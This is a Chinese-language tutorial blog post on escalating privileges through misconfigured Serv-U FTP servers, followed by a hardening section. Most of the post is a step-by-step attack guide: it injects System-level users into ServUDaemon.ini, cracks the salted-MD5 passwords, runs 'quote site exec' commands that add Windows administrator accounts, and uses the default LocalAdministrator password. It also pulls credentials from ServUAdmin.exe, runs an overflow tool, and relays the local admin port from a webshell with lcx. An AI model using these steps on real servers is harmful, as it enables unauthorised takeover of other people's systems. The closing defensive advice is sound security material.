欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

提权学习:第三方软件提权(Server-u 提权)43958

程序员文章站 2022-07-15 11:07:04
...

当你的才华

还撑不起你的野心时

那你就应该静下心来学习


 

第三方软件提权

Server-u 提权

      Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2K等全Windows系列。可以设定多个FTP服务器、限定登录用户的权限、登录主目录及空间大小等 。

      对于可写权限的,可以通过手工修改ServUDaemon.ini文件来修改用户密码了。但是注意这样修改后的密码,需要重起Serv-U才能生效。要使得密码即时生效,还需要在ServUDaemon.ini的[[GLOBAL]]部分加入ReloadSettings=True,这个语句在Serv-U重新载入ServUDaemon.ini的内容后会自动消失。

      由于Serv-U的用户多,提权成功率也高,众多ASP木马纷纷将此提权功能集成在内(大部分木马都是针对不可写权限情况设计的)。

      对于不可写权限,serv_u6.4以下的,如果默认密码没有修改的,直接可以提权。7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权

提权学习:第三方软件提权(Server-u 提权)43958
Server -u 提权——思维导图

 

如果管理员能够执行,就用管理员帐号来提权

如果不行,就利用管理员身份创建可以执行的用户

server-u提权常用方法一

1,查看默认安装目录下的ServUDaemon.ini文件,进而查看用户名和密码,将密码去cmd5.com找到对应的server-u的解密方式进行解密。

2,登入ftp,执行如下命令,创建用户,并且加入到管理员组。

  1. quote site exec net user v01cano v01cano /add
  2. quote site exec net localgroup administrators v01cano /add

 

server-u提权常用方法二

1,使用大马直接创建ftp账号,使用ftp账号登入ftp。

2,然后再执行如下命令,创建系统账号。

  1. quote site exec net user v01cano v01cano /add
  2. quote site exec net localgroup administrators v01cano /add

 

提权学习:第三方软件提权(Server-u 提权)43958

 

server-u提权常用方法三

server-u的管理员账号权限较大,相当于系统权限,可以通过管理员账号直接创建用户,并且加入到管理员组。

 

提权学习:第三方软件提权(Server-u 提权)43958

 

0x01 Serv-U提权分两种

有修改权限(可写权限)

无权限修改(不可写权限)

拓展知识:

         •  本地溢出权限提升(该漏洞存在于serv-u 6.0和6.0以前的版本)

          serv-u ftp转发端口

 

前言

预备知识:

serv-u默认安装目录:C:\Program Files\rhinosoft.com\serv-U
serv-u密码文件:ServUDaemon.ini
端口如果改了可以通过pid查看
或者可以到serv u的配置文件里面去找!
SerUDaemon.ini这个文件
lccalsetuportNo=端口

 

管理员修改了serv u 密码
      进入其安装目录找到serv u的ServUDaemon.ini这个文件(该文件时储存密码的),然后将密码丢到shell里面去,然后进行serv-u提权,不过一般管理员并不修改serv-u的密码

 

0x02 有修改权限

0. 判断是否安装serv-u

      serv-u的默认端口是43958  可以用nmap 扫描确认 

1. 检查是否有可写权限

      一般安装目录 c:\Program Files\Serv-u\SerUDaemon.ini

      打开配置文件

提权学习:第三方软件提权(Server-u 提权)43958

 2. 增加用户

      在user4=添加一个系统用户

提权学习:第三方软件提权(Server-u 提权)43958

或这样也可以

  1. [USER=spiger|1] //用户名
  2. Password=sbd8b58b5c201ee5cc20f9a8551197d4a5 //用户密码加密后的密文
  3. HomeDir=c:\ftp\seven //目录
  4. RelPaths=3
  5. TimeOut=600 //超时时间设置
  6. Maintenance=System //权限
  7. Access1=C:\|RWAMELCDP //可访问的目录及权限
  8. Access2=d:\|RWAMELCDP //可访问的目录及权限
  9. Access3=e:\|RWAMELCDP //可访问的目录及权限
  10. SKEYValues=
  11. 注解:斜杠为理解之用,并非也要予以添加
  12. 添加上述代码并保存后,就会在serv-u中添加用户名为spiger,密码是123456
  13. 通过在本地命令行执行ftp 目标IP地址  命令来连接目标FTP服务器。
  14. 连接后quote site exec net user spiger 123456 /add
  15. quote site exec net localgroup administrators spiger /add

 注:Access1=C:\|RWAMELCDP(这个代表所有权限,包括可执行)

      复制一个 修改名字

      password 密码格式是  gw+md5     

      我从https://www.cmd5.com/   把gw123456  加密  注意gw是他的,也属于密码规则   

      把加密完的密码去替换复制的密码  password=gw+md5(gw123456)

      如果默认用户名和密码被修改,那么我们可以查看下serv_u的安装目录(如何找到安装目录不在本文讨论范围),Serv-U默认的是把密码保存在ServUDaemon.ini文件中。

      默认的密码加密规则是:

  1. 1. 随机生成两个字母;
  2. 2. 把这两个字母和用户的密码拼接;
  3. 3. 用md5加密这个拼接得到的字符串,并把加密结果全部转为大写;
  4. 4. 把第1步中的那两个字母和第3步的结果拼接,得到的字符串就是用户密码的最终密文。

      那么知道这个原理,我们可以把找到的密码分开去**,然后用**的用户名和密码再去用脚本提权

      maintenance=system   是代表系统权限  user=你命名的用户 

      cmd访问 ftp 连接  ip  输入你刚刚添加的用户密码 ,登录成功如下图:

提权学习:第三方软件提权(Server-u 提权)43958

输入  

  1. quote site exec net user username password /add
  2. quote site exec net localgroup administrators username /add  

利用ftp命令quote site exec 添加用户 加入administrators 权限组

      打开3389连接

PS:上述添加的文件中最重要的是Maintenance=System这句,有了这句添加的FTP用户才是管理员用户,才会有命令执行权限(因为最后是通过FTFP执行命令来添加系统用户的)

 

网上看到的另外一种有权限方式

Serv-U目录有修改提权:

ServU 密码加密存储方法

首先随机生成2位字符(从a-z小写字符)

再将用户原始密码与这2位随机字符合并成为新的密码字符.

如: 用户原始密码为a,随机生成字符为dx,则合并后新的密码字符串为:"dxa"

再使用新密码字符串进行MD5 Hash运算.

dxa=F2319AE3B312103BB3259CA8242DD16C

然后再存储到ini文件,存储方法为2位随机字符加上新密码字符的MD5 Hash值.

如下:

  1. [USER=a|1
  2. Password=dxF2319AE3B312103BB3259CA8242DD16C

ServU 密码**方法:

除去前2位随机字符获得F2319AE3B312103BB3259CA8242DD16C.

把该MD5 Hash值存入暴力**工具,产生字典时注意前2位密码必定是dx.

F2319AE3B312103BB3259CA8242DD16C=dxa

提权思路:Serv-U 修改serv-u配置文件 添加超级管理员

步骤:

  1. [USER=lx|1]
  2. Password=uc8270A0A37BE006573C96DB29DF42DEE8
  3. HomeDir=c:\
  4. TimeOut=600
  5. Maintenance=System
  6. Access1=C:\|RWAMELCDP

用cmd登陆ftp,,然后在执行下列命令添加用户

  1. quote site exec net user 用户 密码 /add 添加用户
  2. quote site exec net localgroup administrators 用户 /add 添加到管理员组

C:\Program Files\RhinoSoft.com\Serv-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)


注意:添加失败的原因可能添加的用户名重名,试试其他组合的用户名,User2=pp|1|0 (用户的顺序一定要设置好)

 

0x03 无修改权限

1. 利用md5 直接去解密(ini 文件密码在ftp连)

2. 默认密码,默认用户

端口写上ftp的端口

提权学习:第三方软件提权(Server-u 提权)43958

口令可能不是默认值,(通过c32hex它)

hex 就是十六进的意思

提权学习:第三方软件提权(Server-u 提权)43958

      账户:LocalAdministrator ,密码:#aaa@qq.com$ak#.lk;aaa@qq.com

      命令cmd /c net user DisKill /add & net localgroup administrators DisKill /add

3. 不是默认密码时 直接把SerUAdmin.exe 下载下来 进行查看密码

 

0x04 对权限文件,进行一个总结吧

serv-u配置文件无修改权限,但是可以看到配置文件,进行口令**

      看到FTP用户的配置文件ServUDaemon.ini,在其中找到Maintenance=System的用户,该用户就是系统管理员。如果能够成功**系统管理员的口令,就可以利用该管理员执行添加系统管理员的用户

      serv-u配置文件中Password字段就是用户口令加密变换后的字符串,**方法:去掉前两位,剩下的进行md5**,**后再去掉前两位,剩下的就是FTP用户口令。

serv-u配置文件无修改权限,可以用Serv-u管理用户来进行提权(这是最常用的方法,一般大马中集成的serv-u提权方法就是本方法)

      serv-u的默认管理端口是43958,只有本地才能进行连接这个管理端口。serv-u默认管理账号是LocalAdministrator,默认密码是”#aaa@qq.com$ak#.lk;aaa@qq.com“,这个密码是固定的。如果网站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。

      虽然,网站管理员很少修改serv-u的这个默认管理账号和口令,但是如果管理员修改了,我们还可以通过查 ServUAdmin.exe文件来获取管理账号和口令。

方法如下:

  1. 1. 下载serv-u目录下的ServUAdmin.exe文件
  2. 2. 在本地用文本文件打开,查找LocalAdministrator字符来获取口令位置
  3. 3. 通常可以看到serv-u的管理账号和口令都在文件中,仔细查找即可(如果连用户名也修改了,就搜127.0.0.1或记住账号和密码在文件中的位置)。获取管理账号和口令后就可以利用大马自带的serv-u来进行提权了。

 

0x05 serv-u ftp本地溢出权限提升(使用6.0以及以前版本)

1、用Serv-U提权综合工具生成提权工具serv_u.exe
2、先上传 serv_u.exe 到一个盘符下 比如是d盘
3、执行命令 d:\serv_u.exe
4、d:\serv_u.exe “net user username password /add” (注意命令要有引号)
5、d:\serv_u.exe “net localgroup administrators username /add” (注意命令要有引号)
 

0x06 serv-u ftp转发端口

      上一种方法中提到serv-u的本地管理账号只能本地进行连接,但我们可以利用端口转发的方式来将其管理端口转发的本地,进而提权。在目标Webshell上运行LCX:lcx -slave 你的IP 5000 127.0.0.1 43958
在本机上运行:lcx -listen 5000 21

      打开本地的SERV_U 在IP上填入127.0.0.1 帐号写LocalAdministrator 密码#aaa@qq.com$ak#.lk;aaa@qq.com

      此时的连接过程是:本机连接21端口——>转发往本机5000端口——>管道连接至远程机5000端口——>转发至远程43958端口

      连接成功后,在本机登陆Serv_U就相当于登陆了远程的Serv_U。你可以FTP登陆本机IP,输入上面的帐号和密码,在远程FTP服务器上执行命令。


      上面是serv-u6及以下的主要方法,其中方法也适用于servu-7等版本,只是文件路径可能有所变化。下面讲serv-u7及以上版本的提权,不适用于serv-u6是因为文件路径发生变化,serv-u6没有相应文件。

      serv-u7中管理员的口令在C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive文件中,**方法和serv-u6是一样的。

 

那么该如何防御呢?

servr-u如果权限设置不当容易被提权,添加账号

提权学习:第三方软件提权(Server-u 提权)43958

 

防范方法:

1.确保serv-u安装路径只有系统用户访问权限
2.确保建立的ftp账号不要给执行权限
3.修改ftp默认监听端口

Serv-U防溢出提权攻击解决办法:

      降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录

分析一下Ser-U 防溢出提权产生的原因

      如今Microsoft系列(Win2k Win2k3)SERVER中使用最为广泛的FTP服务器之一、大名鼎鼎的Serv-U FTP服务器中如何简单地解决Overflow溢出、以及Hacker常用的Webhsell提升权限等类攻击的隐患与缺陷;读完本文,您将可以使您的 Serv-U服务器免去被溢出、被提升权限的安全威胁与危险。

前言: 
      大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点、甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了;虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷。(注:最常见的就如webshell+su提权,我在 Baidu输入"Serv-U提权"关键词,搜索结果“百度一下,找到相关网页约34,000篇,用时0.001秒 ”)因此,解决Serv-U的安全问题迫在眉睫。 
Serv-U提权虽然严格来说这个不应该算是Serv-U的重大漏洞,但只要因管理员的配置不当将会产生严重的后果;下面LeeBolin就来为大家介绍下如何安全配置 Serv-U,才能保证Serv-U甚至服务器的安全


一、大家知道Liunx系统和Unix系统比Windows安全的一个重要原因在于:

      Linux和Unix的系统服务不使用root权限,而是使用权限比较低的另外一个单独用户,比如web服务使用了nobody这个用户。而Serv-U默认是以system身份运行的,而System这个系统内置账户对本机有完全操作的权限;因此如果攻击者利用Serv-U程序的漏洞而获得了可执行shell的那,那么他将可以随意控制操作系统里任何一个目录了 

二、我们根据一的讲解知道了为什么Serv-U提权与溢出攻击可怕的原因了,那么我们该如何防止这一类攻击的发生呢?

      答案:就是降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录。


三、Serv-U安全配置 
      1、首先请保持合用Serv-U的最新版本(目前新版为6.4...)。然后在安装Serv-U的时候尽量不要选择默认的安装目录,比如俺将Serv-U 安装在D:/Pro_LeeBolin^_^/Serv-U#$2008$/...(因为这样复杂的目录名可防止Hacker的猜解) 
      2、然后将Serv-U取消MDTM命令的执行,修改Serv-U FTP Banner并开启好Serv-U的FTP日志保存到非系统盘,日志选择记录好Serv-U命名用了那些命令与DLL,并为Serv-U设置一个强壮的本地管理密码(因提权多是因为Serv-U的默认管理员:LocalAdministrator,默认密码:#aaa@qq.com$ak#.lk;aaa@qq.com所造成的,呵呵 $_$),你还可以选择将Serv-U的FTP账户信息保存到注册表,不要存在Serv-U目录下的ini文中,这样更加安全。 
      3、我们再开启"计算机管理"新建一个用户Serv-UAdmin,设置好密码。将用户退出Users组,不加入任何组。并在用户的“终端服务配置文件”选项里取消“允许登录到终端服务器。并且禁止Serv-UAdmin用户的本地登陆。进入控制面板 -> 管理工具 -> 本地安全策略 -> 本地策略 -> 用户权利指派 -> 拒绝本地登陆。(备注:这个用户我们将它来作为俺们Serv-U的服务运行账号,嘿嘿)[(AD^_^:游刃在技术鬼神边缘,打造服务器安全神话!创世纪网络技术前瞻,成就互联网革命先驱!服务器安全讨论区[S.S.D.A]) ] 
      4、开始运行"Services.msc"打开win的服务管理器,找开Serv-U Ftp Server的Serv-U服务;打开“登陆”对话框。当前默认的为“本地系统帐户”。我们将其修改为我们在3中新建的Serv-UAdmin用户,并输入密码。 
      5、下面的工作就是设置Serv-U的运行与FTP目录的ACLs权限了: 
      ①C:/Documents and Settings/Serv-UAdmin 目录加入Serv-UAdmin的权限,允许读取与写入.. 
      ②D: /Pro_LeeBolin^_^/Serv-U#$2008$/ Serv-U的安装目录加入Serv-UAdmin的权限,允许读取与运行。(如果选择了账户保存在ini文件的话,这里就需要增加修改与删除权限,因增删FTP账户时需要删改权才成,否则不能增删FTP账户哟^_^) 
      ③ 如果Serv-U账户选择存在注册表的话。运行regedt32.exe,打开注册表编辑器。找到[HKEY_LOCAL_MACHINE/ SOFTWARE/Cat Soft]分支。在上面点右键,选择权限,然后点高级,取消允许父项的继承权限传播到该对象和所有子对象,删除除admins外的所有的账号。仅添加 Serv-UAdmin账号到该子键的权限列表,并给予完全控制权限。(如果选择了账户信息保存在ini文件中的话可略过此步。) 
      ④ 现在就来设置WEB目录的ACLs了,比如我的虚拟主机总目录为E:/Leebolin$(%;那么我们将此WEB目录加入 Serv-UAdmin账号的权限即可,这样FTP就可以访问我们的WEB目录进行上传下载了,呵.(由于Serv-U并没有以system运行,所以这里只存留admins与serv-uadmin的权限就OK了。) 
      ⑥如果是asp/php/html脚本的话,WEB目录只需要 admins & serv-uadmin & IUSR_XX即可(这里的IUSR_XX是指站点的匿名单用户账号...关于站点的安全与asp.Net的安全请参考我以前的文章:《FSO安全隐患解决办法》、《ASP木马Webshell之安全防范解决办法》、《ASP.NET木马及Webshell安全解决方案》、《服务器安全检查十大要素》) 

四、到目前为止,我们的Serv-U已经简单的做到了防提权,防溢出了。为什么呢?

      因为能常远程溢出 overflow的话,都是通过得一shell 而进行进一步的hacking,而我们现在的Serv-U不是以system运行,所以即使执行了overflow指命,也并不能得到什么...防提权就不用我解释了:因为我们的Serv-Uadmin没有任何系统级的ACLs访问权限.. 

      后记:其实服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Serv-U的安全配置小技巧就为大家介绍到这里...

 

参考链接:

               https://www.landui.com/help/show-1354.html

               https://www.landui.com/help/show-6145.html

               https://blog.csdn.net/Is0Man/article/details/51179637

               https://www.cnblogs.com/feizianquan/p/10891352.html


我不需要*,只想背着她的梦

一步步向前走,她给的永远不重